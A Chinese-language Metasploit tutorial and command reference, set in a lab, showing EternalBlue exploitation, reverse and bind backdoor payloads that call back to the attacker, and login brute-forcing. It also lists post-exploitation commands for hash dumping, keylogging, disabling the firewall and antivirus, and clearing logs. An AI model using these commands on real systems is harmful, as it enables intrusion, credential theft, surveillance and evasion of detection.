# 前言

简单记录一下基础的 MSF 的使用方便自己查阅,这里先贴一下官方的参考文档

参考文档:运行模块 |Metasploit 文档渗透测试软件,渗透测试安全性

# MSF 介绍

MSF 所具有的功能我们可以大致分为下面七个模块:

  1. Auxiliary modules (辅助模块)
    做一些分析、收集、扫描等工作,为后续攻击做辅助

  2. Encoder modules(编码模块)

    将攻击载荷进行编码,来绕过一些防护

  3. Evasion modules(规避模块)
    生成旨在规避防病毒(如 Windows Defender)的规避有效负载

  4. Exploit modules (攻击模块)

    利用发现的安全漏洞或配置弱点对远程目标系统 进行攻击

  5. Nop modules(No Operation 模块)

    生成一系列的空指令

  6. Payloads modules(载荷模块)

    攻击成功后促使靶机运行的一段植入代码

  7. Post modules(后渗透模块)

    收集更多信息或进一步访问被利用的目标系统

# MSF 基本使用

这里用 ms17-010 来做一个 MSF 利用的演示,这里我使用的是 kali,在文档也是有提到过

If you’re using Kali Linux, Metasploit is already pre-installed. 

这里使用使用即可

image-20240306172512892

出现这个就是正常的,首先我们使用 fscan 来扫描目标主机

image-20240306172713310

这里可以看到就这里是存在 MS17-010 的,这里通过 MSF 来验证一下,使用 Search 来搜索

search MS17-010

image-20240306172948996

这里存在 5 个可利用的攻击模块,这里选择第一个

use 0
或者
use exploit/windows/smb/ms17_010_eternalblue

image-20240306173153975=

我们选择攻击模块后需要设置一些参数,一般有目标 ip,目标端口,本地 ip,本地端口有时候还需要设置线程等等

show options

image-20240306173358595

这里可以看到目标端口,本地端口和本地 ip 都是有的,所以这里我们只需要设置目标 ip 即可

set RHOSTS 192.168.246.145

image-20240306173520312

然后就可以了,接下类直接调用攻击模块即可

run
#或者
exploit

image-20240306173700837

这里可以看到就已经成功了,这里就已经获得了一个 meterpreter 会话

值得注意的是 --- 该漏洞一定概率导致目标主机蓝屏

# MSF 后门生成模块

这块我们应该是使用 msfpayload 这个模块,但是在 2015 年 msfvenom 取代了 msfpayload 和 msfencode。实际上 MSfecnom 是两者的一个结合体。我们可以通过 - h 来查询帮助,这里简单的翻译了一下所支持的选项

MsfVenom - Metasploit独立有效负载生成器。
也是msfpayload和msfencode的替代品。
用法: /usr/bin/msfvenom [选项] <变量=>
示例: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
-l, --list            <type>     列出指定类型的所有模块。类型包括: payloads(有效载荷)、encoders(编码器)、nops(填充器)、platforms(平台)、archs(架构)、encrypt(加密方式)、formats(格式)、all(所有)
-p, --payload         <payload>  要使用的有效载荷(使用 --list payloads 列出,使用 --list-options 查看参数)。指定 “-” 或 STDIN 为自定义
    --list-options               列出 --payload <value > 的标准、高级和逃逸选项
-f, --format          <format>   输出格式(使用 --list formats 列出)
-e, --encoder         <encoder>  要使用的编码器(使用 --list encoders 列出)
    --service-name    <value>    生成服务二进制文件时要使用的服务名称
    --sec-name        <value>    在生成大型 Windows 二进制文件时要使用的新节名称。默认值:随机 4 个字符的字母字符串
    --smallest                   使用所有可用编码器生成尽可能小的有效负载
    --encrypt         <value>    用于对 shellcode 进行加密或编码的加密或编码类型(使用 --list encrypt 列出)
    --encrypt-key     <value>    用于 --encrypt 的密钥
    --encrypt-iv      <value>    用于 --encrypt 的初始化向量
-a, --arch            <arch>     用于 --payload 和 --encoders 的架构(使用 --list archs 列出)
    --platform        <platform> 用于 --payload 的平台(使用 --list platforms 列出)
-o, --out             <path>     将有效载荷保存到文件中
-b, --bad-chars       <list>     要避免的字符,例如:'\x00\xff'
-n, --nopsled         <length>   在有效负载前面添加长度为 [length] 的 nopsled
    --pad-nops                   使用由 - n <length > 指定的 nopsled 大小作为总有效负载大小,自动在有效负载长度之前添加 nopsled
-s, --space           <length>   结果有效负载的最大大小
    --encoder-space   <length>   编码后有效负载的最大大小(默认为 - s 值)
-i, --iterations      <count>    编码有效负载的次数
-c, --add-code        <path>     指定要包含的附加 win32 shellcode 文件
-x, --template        <path>     指定要用作模板的自定义可执行文件
-k, --keep                       保留 --template 的行为,并将有效负载作为新线程注入
-v, --var-name        <value>    指定某些输出格式使用的自定义变量名
-t, --timeout         <second>   从 STDIN 读取有效负载时等待的秒数(默认为 30,0 表示禁用)
-h, --help                       显示此消息

# 生成有效载荷

可以看到上面的选项中还给了我们一个示例

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

这里可以看到,我们需要使用 - p 来指定要生成的有效载荷;使用 - f 来指定生成的载荷的格式,示例中指定为 exe 格式;-o 来将生成的有效载荷保存到文件中

这里可以先使用 - l 选项查一下我们可以使用的有效载荷

sudo msfvenom -l payloads

image-20240306182605183

这里的有效载荷是非常多的,这里选用示例给到的这种

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.246.136 LPORT=4444 -f exe -o reverse.exe

image-20240306184300136

# Windows 反向后门上线

这里生成后我们首先在 msf 打开监听模块

use exploit/multi/handler

image-20240306184624507

这里我们查看一下需要设置的参数,这里的载荷要和我们生成中使用的一样,这里修改一下

set payload windows/x64/meterpreter/reverse_tcp

image-20240306184741992

然后这里还需要设置一下 LHOST,然后直接 run 开始监听

image-20240306184956993

接下来我们将刚刚生成的 exe 文件在目标主机上执行即可

image-20240306185106529

在 exe 所在目录开启一个 http 服务,然后直接下载到目标服务器上

image-20240306185230514

这里点击运行

image-20240306185245894

监听端这里可以看到就已经成功上线了

# Windows 正向后门上线

刚刚上面生成的是 reverse_tcp 是一个反向后门

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o bind.exe

image-20240306191441882

然后将这个文件上传到目标主机上,这是还是用刚刚的 win7

image-20240306192552956

将 kali 里的监听设置载荷为与上面对应的 windows/x64/meterpreter/bind_tcp

image-20240306193030490

这里改完后我们还需要提供目标 ip,设置好目标 ip 后直接 run 开启监听

image-20240306193152877

最后在目标主机上运行刚刚的载荷

image-20240306193232307

然后再看监听这边

image-20240306193250067

可以看到这里就已经成功了

# Linux 反向后门上线

因为和上面的 Windows 中基本一样,Linux 这里只展示反向部分。首先还是选择载荷生成 payload

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.142.141 LPORT=4444 -f elf -o reverse.elf

这里只想文件类型为 elf 文件

image-20240306200847560

这里将生成的文件上传到 centos 里

image-20240306200612848

回到 kali 中在 msf 启动监听

image-20240306200657393

在目标中执行 shell 文件

image-20240306201150104

# MSF 代理模块

msf 自身的代理模块需要配合 meterpreter 会话中的自动路由 autoroute 功能使用,能自动将请求转发 至内网网段

# 路由

run get_local_subnets   # 获取网段信息
run autoroute -h    
# 查看帮助
run autoroute -s 10.10.10.1/24  # 开启通往某网段的路由,根据我们获取的网段信息
run autoroute -p   # 查看已开启的路由列表
run autoroute -d   #结束开启的路由列表
background  #退出

# socks 代理

search socks
use auxiliary/server/socks_proxy  #或者  use 编号
show  #options 查看一下
run   # 配置好 ip 及端口运行即可
jobs  # 查看后台任务,会看到正在运行的

image-20240306202417956

# 扫描模块

image-20240306202525622

可以根据需求来选择

# 爆破模块

# ssh 服务口令

#use 的模块信息
use auxiliary/scanner/ssh/ssh_login
#要攻击的 IP 地址
set RHOSTS 192.168.80.134
#设置用户
set USERNAME root
#设置密码字典
set PASS_FILE /root/pass.txt
#设置线程
set THREADS 50
run

# mysql 口令

search mysql
 use auxiliary/scanner/mysql/mysql_login
 show options
 set RHOSTS 192.168.80.130
 set user_file /root/user.txt
 set pass_file /root/pass.txt
 exploit

# tomcat 口令

search tomcat
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.1.1
set PASS_FILE /root/pass.txt
set USER_FILE /root/user.txt
exploit

# telnet 攻击

use auxiliary/scanner/telnet/telnet_login
 set 192.168.1.1
 exploit

# samba 攻击

use auxiliary/scanner/smb/smb_login
 set RHOSTS 192.168.1.1 /192.168.1.0/24
 set THREADS 200
 exploit

# 常用命令

# MSF 常用

show auxiliary # 显示辅助模块
use   
# 使用某个模块
show options  # 显示模块选项
set   # 设置模块参数
set ExitOnSession false  # 经常会遇到假 session 或者刚连接就断开的情况
set SessionCommunicationTimeout 0 # 默认情况下,如果一个会话将在 5 分钟(300 秒)没有任何活动,那么它会被杀死为防止此情况可将此项修改为 0
set SessionExpirationTimeout 0  # 默认情况下,一个星期(604800 秒)后,会话将被强制关闭,
修改为0可永久不会被关闭
run 或者 expolit  # 执行模块
run -j  # 后台运行模块
run -j -z # -j 为后台任务,-z 为持续监听
# 快速建立监听
handler -H 192.168.23.134 -P 4444 -p windows/x64/meterpreter/reverse_tcp
 # session 命令
session  -h  # 帮助
sessions -l # 会话列表
sessions -i id  # 进入指定 id 会话
sessions -u id  # 升级 shell 会话为 meterpreter 会话
# jobs 命令
jobs -h   # 帮助
jobs -k id  # 结束指定任务
jobs -l   # 正在运行的任务
jobs -P   # 重启所有任务
# 远程登陆模块
run post/windows/manage/enable_rdp

# meterpreter 会话常用

help # 帮助手册
getuid  # 查看用户权限
sysinfo  # 获取系统信息
run packetrecorder -i 1 # 查看目标机所有流量
run scraper  # 提取系统信息
run get_local_subnets  # 获取网段信息
getsystem  # 尝试获取系统权限
hashdump   # 抓取 hash
background  # 会话后台运行
ps  # 查看进程
migrate  pid # 进程迁移
shell  # 进入目标主机 shell
netsh adcfirewall set allprofiles state off  # (shell 命令) 关闭 windows 防火墙
run killav # 关闭杀软(不好用)
ls  # 查看当前目录文件
pwd#输出工作目录
cd c:\\  #进入目录文件下
rm file  #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir  #受害者系统上删除目录
dir   #列出目标主机的文件和文件夹信息
mv #修改目标主机上的文件名
edit c:\boot.ini  # 编辑文件
upload # 上传本地文件到目标主机路径
download  # 下载目标主机文件到本地
 
execute  -f 'command'  # 执行命令
execute  -f notepad.exe # 运行目标主机上的某个程序
execute  -H -f notepad.exe  # -H hidden 隐藏后台运行
screenshot # 截屏  
run  getgui  -e  # 开启目标主机远程桌面
run vnc   # 查看桌面
search -d d:\\www -f web.config # search 文件,如 search  -d c:\\  -f *.doc

# MSF 命令列表

# 核心命令

命令          描述
-------     -----------
?           帮助菜单
banner      显示一个令人印象深刻的metasploit横幅
cd          更改当前工作目录
color       切换颜色
connect     与主机通信
debug       显示有用于调试的信息
exit        退出控制台
features    显示可以选择的尚未发布的功能列表
get         获取特定上下文变量的值
getg        获取全局变量的值
grep        在另一个命令的输出中进行搜索
help        帮助菜单
history     显示命令历史记录
load        加载一个框架插件
quit        退出控制台
repeat      重复执行一系列命令
route       通过会话路由流量
save        保存活动数据存储
sessions    转储会话列表并显示有关会话的信息
set         将上下文特定变量设置为值
setg        将全局变量设置为值
sleep       休眠指定的秒数
spool       将控制台输出写入文件以及屏幕
threads     查看和操作后台线程
tips        显示有用的生产力提示
unload      卸载框架插件
unset       取消设置一个或多个上下文特定变量
unsetg      取消设置一个或多个全局变量
version     显示框架和控制台库版本号

# 模块命令

命令          描述
-------     -----------
advanced    显示一个或多个模块的高级选项
back        从当前上下文返回
clearm      清除模块堆栈
favorite    将模块添加到收藏模块列表
favorites   打印收藏模块列表(`show favorites`的别名)
info        显示一个或多个模块的信息
listm       列出模块堆栈
loadpath    从路径搜索和加载模块
options     显示全局选项或一个或多个模块的选项
popm        弹出堆栈中的最新模块并使其处于活动状态
previous    将先前加载的模块设置为当前模块
pushm       将活动模块或模块列表推入模块堆栈
reload_all  重新加载所有来自所有已定义模块路径的模块
search      搜索模块名称和描述
show        显示给定类型的模块或所有模块
use         通过名称或搜索词/索引与模块交互

# 作业命令

命令          描述
-------     -----------
handler     启动一个载荷处理程序作业
jobs        显示和管理作业
kill        终止一个作业
rename_job  重命名一个作业

# 资源脚本命令

命令          描述
-------     -----------
makerc      将从启动以来输入的命令保存到文件中
resource    运行存储在文件中的命令

# 数据库后端命令

命令          描述
-------     -----------
analyze     分析关于特定地址或地址范围的数据库信息
db_connect  连接到现有的数据服务
db_disconnec  断开与当前数据服务的连接
db_export   导出包含数据库内容的文件
db_import   导入扫描结果文件(文件类型将自动检测)
db_nmap     执行nmap并自动记录输出
db_rebuild_c  重建数据库存储的模块缓存(已弃用)
ache
db_remove   删除保存的数据服务条目
db_save     将当前数据服务连接保存为启动时重新连接的默认连接
db_stats    显示数据库的统计信息
db_status   显示当前数据服务状态
hosts       列出数据库中的所有主机
klist       列出数据库中的所有Kerberos票证
loot        列出数据库中的所有战利品
notes       列出数据库中的所有注释
services    列出数据库中的所有服务
vulns       列出数据库中的所有漏洞
workspace   在数据库工作区之间切换

# 利用命令

命令          描述
-------     -----------
check       检查目标是否易受攻击
exploit     启动一个利用尝试
rcheck      重新加载模块并检查目标是否易受攻击
recheck     rcheck的别名
reload      仅重新加载模块
rerun       rexploit的别名
rexploit    重新加载模块并启动利用尝试
run         exploit的别名

# meterpreter 会话命令列表

这是 Meterpreter 控制台的命令列表。以下是翻译:

# 核心命令

命令          描述
-------     -----------
?           帮助菜单
background  将当前会话后台化
bg          background的别名
bgkill      终止后台运行的meterpreter脚本
bglist      列出正在运行的后台脚本
bgrun       将meterpreter脚本作为后台线程执行
channel     显示或控制活动通道的信息
close       关闭一个通道
detach      分离meterpreter会话(用于http/https)
disable_unic 禁用unicode字符串的编码
ode_encoding
enable_unico 启用unicode字符串的编码
de_encoding
exit        终止meterpreter会话
get_timeouts  获取当前会话超时值
guid        获取会话GUID
help        帮助菜单
info        显示关于Post模块的信息
irb         在当前会话上打开交互式Ruby shell
load        加载一个或多个meterpreter扩展
machine_id  获取与会话关联的机器的MSF ID
migrate     将服务器迁移到另一个进程
pivot       管理中继监听器
pry         在当前会话上打开Pry调试器
quit        终止meterpreter会话
read        从通道读取数据
resource    运行存储在文件中的命令
run         执行meterpreter脚本或Post模块
secure      在会话上(重新)协商TLV数据包加密
sessions    快速切换到另一个会话
set_timeouts  设置当前会话超时值
sleep       强制Meterpreter保持安静,然后重新建立会话
ssl_verify  修改SSL证书验证设置
transport   管理传输机制
use         "load"的已弃用别名
uuid        获取当前会话的UUID
write       向通道写入数据

# Stdapi:文件系统命令

命令          描述
-------     -----------
cat         将文件内容输出到屏幕
cd          更改目录
checksum    检索文件的校验和
cp          复制源到目的地
del         删除指定的文件
dir         列出文件(ls的别名)
download    下载文件或目录
edit        编辑文件
getlwd      打印本地工作目录
getwd       打印工作目录
lcat        将本地文件内容输出到屏幕
lcd         更改本地工作目录
lls         列出本地文件
lmkdir      在本地计算机上创建新目录
lpwd        打印本地工作目录
ls          列出文件
mkdir       创建目录
mv          将源移动到目标
pwd         打印工作目录
rm          删除指定的文件
rmdir       删除目录
search      搜索文件
show_mount  列出所有挂载点/逻辑驱动器
upload      上传文件或目录

# Stdapi:网络命令

命令          描述
-------     -----------
arp         显示主机ARP缓存
getproxy    显示当前代理配置
ifconfig    显示接口
ipconfig    显示接口
netstat     显示网络连接
portfwd     将本地端口转发到远程服务
resolve     解析目标上的一组主机名
route       查看和修改路由表

# Stdapi:系统命令

命令          描述
-------     -----------
clearev     清除事件日志
drop_token  放弃任何活动模拟令牌。
execute     执行命令
getenv      获取一个或多个环境变量值
getpid      获取当前进程标识符
getprivs    尝试启用当前进程可用的所有特权
getsid      获取服务器正在运行的用户的SID
getuid      获取服务器正在运行的用户
kill        终止一个进程
localtime   显示目标系统的本地日期和时间
pgrep       按名称过滤进程
pkill       按名称终止进程
ps          列出正在运行的进程
reboot      重新启动远程计算机
reg         修改和与远程注册表交互
rev2self    在远程计算机上调用RevertToSelf()
shell       进入系统命令shell
shutdown    关闭远程计算机
steal_token 尝试从目标

进程中窃取模拟令牌
suspend 暂停或恢复一组进程
sysinfo 获取有关远程系统的信息,例如操作系统

# Stdapi:用户界面命令

命令          描述
-------     -----------
enumdesktops  列出所有可访问的桌面和窗口站
getdesktop    获取当前meterpreter桌面
idletime    返回远程用户空闲的秒数
keyboard_sen  发送按键
d
keyevent    发送键事件
keyscan_dump  转储键击缓冲区
keyscan_star  开始捕获按键
t
keyscan_stop  停止捕获按键
mouse       发送鼠标事件
screenshare  实时观看远程用户桌面
screenshot  捕获交互式桌面的截图
setdesktop  更改meterpreters当前桌面
uictl       控制部分用户界面组件

# Stdapi:摄像头命令

命令          描述
-------     -----------
record_mic  从默认麦克风录制音频 X 秒
webcam_chat  开始视频聊天
webcam_list  列出网络摄像头
webcam_snap  从指定的网络摄像头拍摄快照
webcam_strea  播放指定网络摄像头的视频流
m

# Stdapi:音频输出命令

命令          描述
-------     -----------
play        在目标系统上播放波形音频文件(.wav)

# Priv:提升命令

命令          描述
-------     -----------
getsystem   尝试将您的特权提升到本地系统的特权。

# Priv:密码数据库命令

命令          描述
-------     -----------
hashdump    转储SAM数据库的内容

# Priv:Timestomp 命令

命令          描述
-------     -----------
timestomp   操纵文件MACE属性